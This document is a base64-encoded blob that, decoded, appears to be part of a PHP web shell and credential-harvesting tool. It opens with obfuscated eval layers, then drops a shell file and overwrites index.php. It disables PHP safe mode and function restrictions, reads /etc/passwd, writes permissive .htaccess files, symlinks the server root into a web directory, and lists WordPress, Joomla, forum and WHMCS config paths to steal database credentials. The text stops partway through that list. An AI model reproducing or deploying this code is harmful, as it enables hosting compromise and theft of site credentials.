UekF3TURBd01Ic3hObjA3SkU5UFR6QXdNREJQTUM0OUpFOVBUekF3TURCUE1Ic3pmUzRrVDA5UE1EQXdNREF3ZXpFeGZTNGtUMDlQTURBd01EQXdlekV5ZlM0a1QwOVBNREF3TUU4d2V6ZDlMaVJQVDA4d01EQXdNREI3TlgwN0pFOVBUekF3TUU4d01EMGtUMDlQTURBd01EQXdlekI5TGlSUFQwOHdNREF3TURCN01USjlMaVJQVDA4d01EQXdNREI3TjMwdUpFOVBUekF3TURBd01IczFmUzRrVDA5UE1EQXdNREF3ZXpFMWZUc2tUekJQTURBd1R6QXdQU1JQVDA4d01EQXdNREI3TUgwdUpFOVBUekF3TURBd01Ic3hmUzRrVDA5UE1EQXdNREF3ZXpWOUxpUlBUMDh3TURBd01EQjdNVFI5T3lSUE1FOHdNREJQTUU4OUpFOHdUekF3TUU4d01DNGtUMDlQTURBd01EQXdlekV4ZlRza1R6QlBNREF3VHpBd1BTUlBNRTh3TURCUE1EQXVKRTlQVHpBd01EQXdNSHN6ZlRza1R6QlBNREJQVHpBd1BTUlBUMDh3TURBd01EQjdNSDB1SkU5UFR6QXdNREF3TUhzNGZTNGtUMDlQTURBd01EQXdlelY5TGlSUFQwOHdNREF3TURCN09YMHVKRTlQVHpBd01EQXdNSHN4Tm4wN0pFOVBUekF3TURBd1R6MGtUMDlQTURBd01EQXdlek45TGlSUFQwOHdNREF3TURCN01UUjlMaVJQVDA4d01EQXdNREI3T0gwdUpFOVBUekF3TURBd01Ic3hOSDB1SkU5UFR6QXdNREF3TUhzNGZUc2tUMDlQTUU4d1R6QXdQVjlmUmtsTVJWOWZPeVJQVHpBd1R6QXdNREE5TUhneE1EZGpPMlYyWVd3b0pFOVBUekF3TURCUE1DZ25Ta1U0ZDAxRVFsQk5SVGgzVFVRd2ExUXdPVkJOUkVGM1ZIcEJkMHREVWxCVU1EaDNWSHBDVUUxRVFYTktNMHBwU25sck4wcEZPSGRVZWtGM1ZEQTRkMDFEWjJ0VWVrRjNUVVU0ZDFSNlFYZE1SRUkwVGtkTk1FdFVjMnRVTURoM1RVVTRkMDFGT0hkUVUxSlFWREE0ZDAxRVFYZFVla0Z2U2tVNVVGUjZRWGROUkVGM1ZIbG5hMVI2UWxCTlJFSlFWSHBCZDB0RFVsQk5SRUYzVkhwQ1VFMUVRWE5OU0dkNFRqSk5jRXhEWkVaaWJsSnNZMjVzZG1SWVpISmhSa3BKVjFWMFQxWXdPVlpXUlVab1VXMUtSRmt3VW10U2JWcElXakJzY0ZOdGNFMWlSVEYwVlVoQ1VtTldUbnBXYmxwWlpVWndOazFFUlhsTmVsRXhUbXBqTkU5VGMzWlFVMk56U2pCR1ExRXdVa1pTYTJSSlUxVndURlJGTVU5VU1VSlNWV3hPVlZaV1dsaFhSbXhoV1ZkS2FscEhWbTFhTW1od1lXMTBjMkpYTlhaalNFWjVZek5TTVdSdVpEUmxXRzkzVFZSSmVrNUVWVEpPZW1jMVMzazRia3RUYXpkYVdGcG9Za05uYTFRd09IZE5SVGgzVFVVNGQwdFVjejBuS1NrN2NtVjBkWEp1T3o4K2ZrUnJjamxPU0dWdVRraGxiazVJWlRGNlpuVnJaMFpOWVZoa2IzbHFZMVZKYldJeE9XOVZRWGg1WWpFNGJWSjBkMjEzU2pSTVZEQTVUa2h5T0ZoVWVrVllVa3AzYlhkS1dFeFVNRGxPU0dWRldFaHlPRmhvZEU5T1ZEQTRXRWhsUlZoSWNqaFFhM0k0V0ZSNlJWaFVNRGhZU0hSSlRGUjZSVmhJY2poWVZIcEZXRkowVDA1VWVrVllWSHBGV0VobFJYQlNkR1o1WkcxUGJFWnRiSFptWW1aeFJIbHJkMEpCYzB0aE1EbGhZWEo1YVZkTmEyVkRNRTlNVDAxamRXTXdiSEJWVFhCSVpISXhjMEYxYms5R1lWbDZZVzFqUTBkNWNEWklaWEphU0hwWE1WbHFSalJMVlZOMlRsVkdVMnN3ZVhSWE1FOTVUMHhtZDFWQmNGSlVjakZMVkRGdVQwRnNXVUZoWVdOaVFubHNSRU5DYTJwamIyRk5ZekpwY0VSTmMxTmtRalYyUm5WNVdrWXpUekZtYldZMFIySlFXRWhVZDNwWlpVRXlXWHBKTldoYU9HMW9WVXh3U3pKamFtUnZPWHBqVlVsTVZIcEZXRWh5T0ZoVWVrVllhRlJ6YkdaTmVWTm9kRTlPVkhwRldGUjZSVmhVZWtWd1MxZzlQWFJ0V1d4bWVUa3dSRUl4YkdJeWVIQmtRbXd3YUdWRmNFdFljR3hHYld0MlJtdzVXbU5pYm5aR2JVOXdaRTFHVUVoMFREZDBUV3hOYUc5c2VrWXlZVEJvZEU5blFYSTVWR0Y1VTIxbVltdFRhekV3Y0doaVUyaHJkV0ZhWkhSRk9YZDBUMmRCY2psVVlYbFRiV1ppYTFOck1UQTNkRzB4YkdSMVdXeEhXRkJNWm1KclUzZGxNRWxyTW1rd1puVkZObEphT1RObU0wWldhM3BUYUdkWGNHeERNbWwyZDNSR09IZEJUMDVYTVU5alFYSkJTVlY1VDFsVVpUUm9UbTlwTUdSQ1dDdDBhbmhRWTBKNVRFNUpVRGhtYjJ3d1pHOUJLMWRLTVc5M2NsbDJaRTFqY0dNeE9XcEJiM2xXWTBKWU9GSXpUM0JtYjNoc1RrbFFPRVl6VHpWa2IwRkpablZzV0dOVU1FcG1iMkUwWm5RNWFrWXpTRXBPU1ZCb1EwMDVURWRpVTJoM2RFVkpaRUo1V21NeWJGWjNaVkJKUTJKaE1HUjZVMmgzZEVWSlEwMTVha1F5Wmxwa00yRldZM1F4YW1ReWVIWkdhbEJxWTJwalRWbE5RekpMV0ZCSmQzUnVhbVF5ZUhaR2FsQkpkM3BJZWt0VVREVkxWRk5vZDNSRlNXTk5PVlptZERGTlEwSXhjR1IxVERaM2RVOXBSRzg1YzBOVldFbGpNbUZXWTJKamFWSjBibE5tUWxsd1kyOXlVMlIxWVdwRVFrOXBkMjltV2tOQ05VeGpWVmhKUTJKcmNFTkNXRk4zYjJsc1pIVmpiR1p2YkdwRFZWaEpSako1VmtaYU1YcGpZbXR3WTJwVGFIZDBSVWxqVFRsV1puUXhUVU5DTVhCa2RVdzJkMlZ5TUVaMVNUZDBTa1ZKZDNWUGJFZDFWM05EUW5od1l6STBObmR2V1d4a2JVOXNSbXBUYUhkMFJVbDNiMk4yWkcxWGMyWXlZWEJqTW1rd1MwcHVTbVF5ZUV4M1pWTm9aMWRRYUVSQ05WaG1ZbGRUWm05aE5HWnZlVnBqUW5KVFJqSmhVMk5DV1RCSFdIQk5aREkxTUZKaVpteEVRbVpRWm1WUVNVTk5PVk5qWlZOb1F6STVVMlF6ZHpaM2RFaFlTR1ZGV0VobFJUZDBUV3QyUmsxUGJFWnFVRWxJWW00MGQzVlpkbVJ2YkV4M2RGbGxWekJaWlZjd1NEZDBUV3RwUXpKemJVWk5PVEZrVFZkelF6STVVMlF6ZHpaM2RXWlFSR0pQYkV0WWNGaERRazlNUkVJMWJVdEtSWHBHZFVrM2RFMXJka1pOVDJ4R1NqRmFRMEpQY0daaVNEWjNaV1pZUjJWVGFHZFhVR2hFUWpWWVptSlhObU5OT1dwbVlsazNkRWxRU1VOTk9UUlNZbGxRUTBKUGRtWjZVRWxJZFc0MGQyVnVXRWQwUlRGR2RVbEpkM3BGV0V0QlF6VlBhbE5vZEcwd2FIY3lZM1prTTA5c1JrcEZTVWRZVUdoRE1qbFRaRE4zTm5kMFNGaElaVVZZU0dWRk4zUk5ZM1prYlZkelkwMTVjMFJDZURWTFNrVjRXWFZ1TkV0WWNEQmpZbWt3VW1KWlVFTkNUM1ptZWxCSlNIVnVOSGRsYmxoSGRFVjRSblZKU1hkNlJWaElaVVZZU0dWVGFHTk5PVlptZERFelkwSnNiVVIxVnpaM2J6VjJSazB4YVdSbFUyaG5WM0JwUjFoUVNYZDFUMnhIZFZkelkyOWhhbVF6YTJsbWIyeDJaR3BRU1dSTk9WWmpWRk5vZDNSdWFtUXllSFpHYWxCcVNIcElla2g2U0hwTFdIQTVkR3BZZGtZelR6VmtiMEVyZEdwWWRrUnZZV2xqWlRSb1RtOXJkbU4xVEN0MGFuaE1SR0pEU1VSQ1Z6bDNiVTkyWkRKWVNrNUpVRGhWWlhKSlJqTlBOV1J2UVRsM1RWbDJaRzg1V2t0S1JXcFpaVmN3V1dWWE1FdGFiakJqWW1rd1VtSlpVRU5DVDNabWVsQkpTSFZ1TkhkbGJsaEhkRVY0Um5WSlNYZDZSVmhJWlVWWVNIUjNOMlp2WVRSbWRERnBaRzlzYldScVVFbERNbUZXWm05aFdrdDZOWFJTUVVOSlZ6STVWbU5OYkcxaU1sbFhRMEkxYkdSbFdIWlZaWElyZEdwNFRXUXphM04zYnpGc1ptOXBkbU5sTUVwQmNqbFVZWFIzSzNScWVIQmtiVzR4Wm5SdVZrTkNNV3hPVldzeFJrMVlTbmQxVHpWR2IwRTVkMjFQYkVkMVYwcDNkV05wWkhWaGJFNVZkMjFTU2s4eFJrMVlWbXRhZDBsR01tdzJZMVF3U2xsbFJVcDNkRGdyZEdwNGNHUnRiakZtZEc0d1IySnViRTVWYTNwbVFtdHpSR0pYU25kMVkybGtkV0ZzVGxWclZHWnZlVnBtZEVVcmQwcEZkazVKVURoU01tTjJSazB3SzA1dmExcDNkRGdyVG05clduZDBPQ3RyZWxOb1JFSkRVRVJpV1hwallsZFFhM2s1VjFReFdVRkNXbVl4UmsxWWJXSlZUSEJIV0hCd1kwcEphV05OYkZOallUbHRZMkpQWjBNeU9WWm1iMkZXWm5WSVVHdDFZVnBrZEV4d1IxaHdiRU15YVhaM2RHWjVSbTFyZGtaS05FbFZRalV5UTBKNGNHTjBibUZCVEZoV2EzcFRhR2RDWVZOR01tRTNkRXBQYVhkbE1FbElaVk5vWTAwNVdtTkNlV3BFZEdsdFkySlBaMk52ZVRCRFZVbE1abUpyVTJoVmJtbEdXa1ZNUkVJMVRXUmFiRGQwVFd4TmFHOTRkbU15YkZab2RFOXdaRTFqZGtKNmJtWlNkRTl3WkUxamRrSjZlV1pvVld3M2RFMWhha1J2T0VsM2FuaEtkM1ZaTUVkQ2VHeE9WVVpKUXpJNVUyUXpkelozZEVnMFNHVkpXRXRsUlVsTFdtNHdZMkpwTUZKaVdWQkRRazkyWm5wUVdFWjFTVWxJZFc0MGQyVjVXRWQwUldwTFpVVTBTR1ZKV0hkbFUyMU9iRk54WWxWdVlVWXlZVnBrVFhselkxVkZUWGQ1Ym1sR00xa3paRE5yVEhkbFVEaFNNbmNyZDNSRk9FTktibnBtZFd4VFkxUXdiWGR2V1haa2J6bGFTMHBGYWtobFJWaEljbU52ZDJWVFNXWnZZVFJtZERGNlJHOTVUR1F6UmpaSWRXNDBkMlZ1V0VkMFJYaEdkVWxKZDNwRldFaGxibTlQU2tVM2EzbzFaR3R2YkZaalRUbGtTSGt4Wms1ME9VcE9Ta1U0UTBwdWVtWjFiRk5qVkRCdGQyOVpkbVJ2T1ZwTFNrVnFWekJJV0VobFJWaExXbTR3WTJKcE1GSmlXVkJEUWs5MlpucFFXRVoxU1VsSWRXNDBkMlY1V0VkMFJXcFhNRWhZU0dWRldFdGFSaXRDV2s5d1pFMWpka0o2ZVdaaVZGaDJRMm8wT0VOdGQwbFNlalJLUzFoUVRFTlZVM0ZMV0hBNWRHMHdhR05DV1ZCa1drVktUbTkzU1VZelR6VmtiMEU1YTFwdWFtUXllSFpHYWxCSmQzcEpXRXRsUlRSSWRFVTNkM1ZQYkVkMVYzTkdNbWxwWTI4NU0wdHFibGhIZEVWWVJuVkpTVWhpYmpSM2RFZzBTR1ZKV0V0bFJVbExXa1lyVG05cFdrNUtUMmwzY2xsWVEwSTFiR1IwYm05a00yRldZMjloVEZKcWVFcEdTa1YyVGtwM04zUnRNR2huVjNCc1F6SnBkbmQwUmpoRGJYZEpVbm8wT0VOdGQwbFNlalE0UTIxM1NWSjZORGhEYlhkSlVubzBPR052YkRKM2IyeE1UbFZyVFdReU9UQmpZbmRLVG0xNE9IZHliRXhqUW5KSlMycFFTVlJpZDFaWFFuaDZRMVJaYkVSYWJqaG5kRzVYUmswNWJVWk5lWE5rUW14V1kxcEZOa3RLYm5WU1FYZEpaM1ZZU1U5dllYcEVRbVpXWTJKM1NVdHFVRWxYUWxoelFUTm1jRVl6YTJ4M2RYZzRkMlZZZG1OdmJESk9TVkE0VWpKUGNHWnFORGhTTW10MlkzVk1LM1JxV0haRWRVOXpaR1UwYlV0WWNFMW1RalZxWm05c2RtUktibXhIZEVsTVExVllURU5LV0V4bWIyRTBablJzTjNSS1QyeEhkVzVUWkRKUGJIZGxNRWxqWW1sWVpHODVUR05WU1V4RFZWaE1abTloTkdaMFREZDBTazlzUjNWdVUyUXlUMngzWlRCSlkySnBXR1J2T1V4alZVbE1RMHBZVEdOaWFWaGtiemxNWTJGVGVHSlZURGQwYld0c1puVmhXbVJLUlV4alltbFlaRzg1VEdOaFUxaGlWRk5vWjFkd1RXWkNOV3BtYjJ4MlpFcHVVMlF5Wm5Ca1NrbE1abUpaYkVaS1dFeEdiM2w2Umxwc04zUktUMnAzWlRCSlYyOHhOVVl6ZVZOaU1sbDJaRTAxYkVNelYxQnJNbmgyUXpKNVUwUnZPWHBtZEVaVGEzVmhlbU5pZDFOcmRXNXBSak5JY0V0WWNIQmpTa2xNUTFwc04zUk5NVFZHTTNsVFlqSlpVMlF6V1d4b2RFOXFhRlJUYUVaTllUQm1ZbXRXZDNWUFdtWkNRVGQwYlRGc1pIVlpiRWRZY0ZwallrOHhSazAwU1dOTmVWTkdNa0UzZEcwd2FHZFhjRTFtUWpWcVptOXNkbVJLYm0xallrOW5ZMjk1TUVOVlNVeG1ZbXRUYUdKVGFHdHZlVnAzWlRCSlEySnJXa05pVEZCcmVuSldablZwTUd0YVdHMUlTalV3UjNWWGJWSjBSbnBTYlU4MFpuUkdVMnQ2VjFabWRXa3dhMXBZYlZsVk5UQkhkVmR0VW5SR01sSnRUelJtZEVaVGEzcEdWbVoxYVRCcldsaHRTM1ExTUVkMVYyMVNkRVkxVW0xUE5HWjBSbE5yZWtWV1puVnBNR3RhVERkMFNrOTZSazFJU1U1VmJrMUVRbmhzWWpKbWJHWjVPV3BrTWpVd1kwSTFNRVphU1V4bVltdFRhRlJUYUd0dlkzQmtiMkY2ZDJVd1NXTmlhVmhrYnpsTVkxVkpiVTV2Y2tsRWRXdHNZMm93U210YVdFeEdNMnRxYUZSVGFHdHZUMmxtYjNKSlRsVnVhVVp0YTJsSFZVbHdTMWh3VFdRemEyeERRbGxRYUhSUFRVUkNlR3hHV201cFJscEZURVJDVnpsT1NrOU5SRUo0YkdoaVUyaEVRa05RYTI5c1RIZGxNRGwzWlVWd1IxaHdhbVF5TlRCRVFqVXhZMVJUYUdkWFVFeGpUV3hUWTFWRk9YZHZZVFJHYjNoMlkyOUJVR3RhZHl0cldsaE1ZMDFzVTJOVlREZDBTazlOUkVKNGJIZGxNRWxtZFd0d1pGVkpUR05OYkZOallWTllZbFZNTjNSTmJFMW9kSGxzUmsxaGJVUlZTVzFTYlU4MFpuUkdVMnR2WTNCa2IwRndhR0pUYUVNeU9WWm1iMnhXWmtKQk4zUnRNR2hyZFZsYVExcEZPWGR2WTNCa2IyRm5ZekpoTUdJeVdYWmtiVTlzWkcxUGVtaDBkMHhtWW10VFVscFBUVVJDZUd4M1NrdzNkRTFzVFdoMGNreEdNMnRxYUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmRXRjZZMkozU1U1VmJucG1kV3RuUmsxaFdHUnZlV3BqVlVsTVEySjNVMnRhUmxOcmIyTndaRzlCY0V0WVVFeG1ZbGxzUmtwRk9YZDFXVEJHYkRsYVkySnVVME5DV1d4b2RFOXBSa3BZYld0YVdFeG1ZbGxzUmtvMGJWSnRUelJtZEVad1MxaFFUR1ppV1d4R1NrVTVkM1ZaTUVac09WcGpZbTVUUTBKWmJHaDBUMmxHU2xodGExcFlUR1ppV1d4R1NqUnRVbTFQTkdaMFJuQkxXRkJNWm1KWmJFWktSVGwzZFU5YVJFSXdVRVl6VDFwaU0ydHNSbTk0YVVNeVFWQnJXalV3UjNWWGJWSjBSbTFTZEU4eFJqSmhXbWhWVERkMFRXeE5hRzloV21OQ1puQm9kR3RpWkROclRFRjFhMnhHTTBoS1VuUlBla1pOU0hCb1lsTm9hM1Z1YVVZelNFbE9WVzVzUjNSSlNtTnZZVTFFUWpWc2FIUm1jbGRzT1ZkWFlWbFVZVEE1VlU5MFJsTjNkRVpLVW5SM2JXaFVVMHBTZEU5NlJrMUljRXRZVUV4amIza3dRMkZ6Wm5kbE1FbERZbXRhUTJKTVVHdDFZWHBqWW5kVGEzVnVhVVl6U0hCTFdIQTVZMEo0ZW1OaVUyaHJkVTkyUkRKaFZrWmFSVGwzZFU5MlJESmhWbUl5Wm14bWVUbHBaRzlZVUd0MVdWcERXa3czZEUxamRrWk5ZV2xETWtsUWEzVlBka1F5WVZaR1dtNXBSbHBGVEdadk9YRmpRalJ3UjFod2NHTktTV2xyZFU5MlJESmhWa0o2ZVdab1lsTm9Rekk1Vm1admJGWm1Ra0UzZEcwd2FHdDFUM1pFTW1GV1pFMTVjMk5WUlRsM2RVOTJSREpoVm1JeU5XbGtRa0ZRYTNWUGRrUXlZVlpDZW01bWFGUlRhRVJDUTFCcmRVOTJSREpoVm1STmVYTmpWVVZwVGxWRmJXRjVPVUpYWVd0clYwRnJTRTlWUm5CSFdIQnFaREkxTUVSQ05URmpWRk5vWjFkUVRHWk5lVnAzWlRCSmEzVlBka1F5WVZaQ2VubG1TMWh3Y0dOS2FXeEdUV0Z0UkZWSmJVWnZlWHBHV2taVGEzVmphVVpLVEhCSFdGQk1ZMHBGT1hkMVdUQkdiRGxhWTJKdVUwTkNXV3hvZEVaSmExcFliV3RhZUd4SGRFbE1aazE1V2xKMFJqZHJXbGhNUmpOcmFtaFZURGQwU2s5cGQyVXdTV1oxYTNCa1ZXbHNSM1JKU2s1VlJrcFNkSGR0ZDBwWVRHTktUSEJMV0ZCTVEwcEZPWGQxVDFwRVFqQlFZMkpKVUd0YWQyMVNkRVpLYTFwWVRHTktUSEJMV0hCd1kwcEpURU5WUldsT1ZVVnRhMXBzTjNSS1QxaERZbGw2ZDJVd1NXdHZjamQwYlRGc1pIVlpiRVJDUTFCcmIzZEpkMVF3U1d0YVJuQkhXRkJNUm05NWVrWmFSVGwzZEU5S1MxaHdPWFJOYkUxb2RFOVlRMkpaZW5kbE1EbDNkRVp0YUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmIwOXBabTk1WkdKVlJUbDNiM2xhUmsxNU5XaDBUekZHTW1GYVVuUlBXRU5pV1hwb1ZGTm9aMWR3T1hSdE1HaG5WM0JhWTJKUE1VWk5ORWxyYjA5cFptOXlOM1J0TUdoTFdEMDlZV3hXYmxKUVNYRT0nOyAKJGZpbGUgPSBmb3BlbigiYmhjLnBocCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25mc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJiaGMucGhwIiwgMDY0NCk7CiRpbmRleHNoZWxsID0gZm9wZW4oImluZGV4LnBocCIgLCJ3KyIpOwokZGF0YSA9ICdQR2d4UGs1dmRDQkdiM1Z1WkR3dmFERStJQTBLUEhBK1ZHaGxJSEpsY1hWbGMzUmxaQ0JWVWt3Z2QyRnpJRzV2ZENCbWIzVnVaQ0J2YmlCMGFHbHpJSE5sY25abGNpNDhMM0ErSUEwS1BHaHlQaUFOQ2p4aFpHUnlaWE56UGtGd1lXTm9aU0JUWlhKMlpYSWdZWFFnUEQ4OUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRQejRnVUc5eWRDQTRNRHd2WVdSa2NtVnpjejRnRFFvZ0lDQWdQSE4wZVd4bFBpQU5DaUFnSUNBZ0lDQWdhVzV3ZFhRZ2V5QnRZWEpuYVc0Nk1EdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTm1abVk3WW05eVpHVnlPakZ3ZUNCemIyeHBaQ0FqWm1abU95QjlJQTBLSUNBZ0lEd3ZjM1I1YkdVKyc7CiR0dWxpcyA9IGZ3cml0ZSggJGluZGV4c2hlbGwsIGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsKZmNsb3NlKCRpbmRleHNoZWxsKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YmNvbmZpZy9iaGMucGhwIHdpZHRoPTk3JSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiI7IApicmVhazsKCiMjIyMjIyMjIyMjIyMjIyNDTVMgREVURUNUT1IKY2FzZSAnY29uZmlnJzsKJGJ5cGhwID0gInNhZmVfbW9kZSA9IE9mZgoJCWRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQoJCSI7CmZpbGVfcHV0X2NvbnRlbnRzKCJwaHAuaW5pIiwkYnlwaHApOwoKZWNobyAnPENFTlRFUj48Yj4rLS09WyBDb25maWcgcHJpdjggXT0tLSs8L2I+PGJyPjxicj4nOwo/PgoKPGJSPjxmb3JtIG1ldGhvZD1wb3N0PgoJPHRleHRhcmVhIHJvd3M9MjAgY29scz04NSBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKewokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsKZWNobyAkc3RyWzBdLiJcbiI7Cn0KCj8+PC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdSB2YWx1ZT0iTGV0cyBTdGFydCIgLz48L2Zvcm0+PC9DRU5URVI+Cgk8P3BocAoJZXJyb3JfcmVwb3J0aW5nKDApOwoJZWNobyAiPGZvbnQgY29sb3I9IzAwZmYgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2RpcignSW5qZWN0JywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdJbmplY3QvLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJGluZGlzaGVsbCA9IHN5bWxpbmsoIi8iLCJJbmplY3Qvcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9SW5qZWN0L3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IE93TjNkPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIlBsZWFzZSBjaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj48dT4kcnQ8L3U+IjsKCQkKCQkkZGlyPW1rZGlyKCdJTkpFQ1RJT04nLDA3NzcpOwoJCSRyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRmID0gZm9wZW4oJ0lOSkVDVElPTi8uaHRhY2Nlc3MnLCd3Jyk7CiAgIAogICAgICAgIGZ3cml0ZSgkZiwkcik7CiAgICAgICAgJGNvbnN5bT0iPGEgaHJlZj1JTkpFQ1RJT04vPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPmNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9hPiI7CiAgICAgICAJZWNobyAiPGJyPlRoZSBsaW5rIGdpdmVuIGJlbG93IGZvciBjb25maWd1cmF0aW9uIGZpbGUgc3ltbGluay4uLm9wZW4gaXQsIG9uY2UgcHJvY2Vzc2luZyBmaW5pc2ggPGJyPjx1Pjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4kY29uc3ltPC9mb250PjwvdT4iOwogICAgICAgCQogICAgICAgCQkkdXNyPWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXInXSk7CiAgICAgICAJJGNvbmZpZ3VyYXRpb249YXJyYXkoIndwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIsCgkJIndlYi93cC1jb25maWcucGhwIiwKCQkid3Avd3AtY29uZmlnLnBocCIsCgkJInByZXNzL3dwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwIiwKCQkibmV3cy93cC1jb25maWcucGhwIiwKCQkibmV3L3dwLWNvbmZpZy5waHAiLAoJCSJibG9ncy93cC1jb25maWcucGhwIiwKCQkiaG9tZS93cC1jb25maWcucGhwIiwKCQkiYmxvZy93cC1jb25maWcucGhwIiwKCQkicHJvdGFsL3dwLWNvbmZpZy5waHAiLAoJCSJzaXRlL3dwLWNvbmZpZy5waHAiLAoJCSJtYWluL3dwLWNvbmZpZy5waHAiLAoJCSJ0ZXN0L3dwLWNvbmZpZy5waHAiLAoJCSJ3cC9iZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJiZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLAoJCSJwcm90YWwvY29uZmlndXJhdGlvbi5waHAiLAoJCSJqb28vY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbXMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibWFpbi9jb25maWd1cmF0aW9uLnBocCIsCgkJIm5ld3MvY29uZmlndXJhdGlvbi5waHAiLAoJCSJuZXcvY29uZmlndXJhdGlvbi5waHAiLAoJCSJob21lL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiY29uZmlndXJhdGlvbi5waHAiLAoJCSJTU0kucGhwIiwKCQkiZm9ydW0vU1NJLnBocCIsCgkJImZvcnVtL2luYy9jb25maWcucGhwIiwKCQkiZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInVwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwIiwKCQkiY2MvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJ2YjMvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJImNwYW5lbC9jb25maWd1cmF0aW9uLnBocCIsCgkJInBhbmVsL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkidWJtaXR0aWNrZXQucGhwIiwKCQkibWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmV0YS9jb25maWd1cmF0aW9uLnBocCIsCgkJImluY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJsaWIvY29uZmlnLnBocCIsCgkJImNvbmZfZ2xvYmFsLnBocCIsCgkJImluYy9jb25maWcucGhwIiwKCQkiaW5jbC9jb25maWcucGhwIiwKCQkiaW5jbHVkZS9kYi5waHAiLAoJCSJpbmNsdWRlL2NvbmZpZy5waHAiLAoJCSJpbmNsdWRlcy9mdW5jdGlvbnMucGhwIiwKCQkiaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiwKCQkiY29ubmVjdC5waHAiLAoJCSJta19jb25mLnBocCIsCgkJImNvbmZpZy9rb25la3NpLnBocCIsCgkJInN5c3RlbS9zaXN0ZW0ucGhwIiwKCQkiY29uZmlnLnBocCIsCgkJIlNldHRpbmdzLnBocCIsCgkJInNldHRpbmdzLnBocCIsCgkJInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwKCQkic21mL1NldHRpbmdzLnBocCIsCgkJImZvcnVtL1NldHRpbmdzLnBocCIsCgkJImZvcnVtcy9TZXR0aW5ncy5waHAiLAoJCSJob3N0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImhvc3RzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiLAoJCSJzaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsCgkJIndobS9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkib3JkZXIvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzdXBw